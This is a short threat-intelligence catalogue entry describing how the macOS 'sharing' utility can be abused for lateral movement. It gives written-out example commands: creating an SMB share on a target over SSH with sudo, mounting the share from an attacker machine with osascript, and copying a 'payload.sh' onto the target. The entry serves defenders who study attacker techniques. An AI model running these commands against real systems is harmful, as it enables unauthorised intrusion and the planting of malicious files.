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sharing

sharing (/usr/sbin/sharing) is a macOS command-line utility for creating and managing network file sharing points. It can add, remove, and list shared directories for SMB, AFP, and FTP protocols. In a lateral movement context, an attacker with SSH access to a target can use sharing to create an SMB share on the target, then mount that share from an attacker-controlled machine to transfer files directly to the target's filesystem without additional tooling.

Author: Ryan Conry (Cisco Talos) Created: 2026-03-24
Lateral Movement smbfile-sharingfile-transferlateral-movement

Paths

/usr/sbin/sharing

Example Use Cases

Create an SMB share on a target over SSH for lateral tool transfer #

With SSH access to the target, the sharing utility can create an SMB share pointing to a directory on the target. Combined with the macOS smbd LaunchDaemon, the share becomes accessible over the network. The attacker can then mount the share using osascript and copy files directly into it, which appear immediately in the target's share directory. The -s 001 flag enables SMB access on the share.

# On target (via SSH): create share directory, start smbd, create the share
ssh user@<TARGET_IP> 'mkdir -p ~/share && sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smbd.plist && sudo sharing -a /Users/user/share -n share -s 001'

# On attacker: mount the share using osascript and transfer a file
osascript -e 'mount volume "smb://user:<PASSWORD>@<TARGET_IP>/share"'
cp payload.sh /Volumes/share/
Lateral Movement smbfile-sharingfile-transferlateral-movement

Detections

  • No detections at time of publishing

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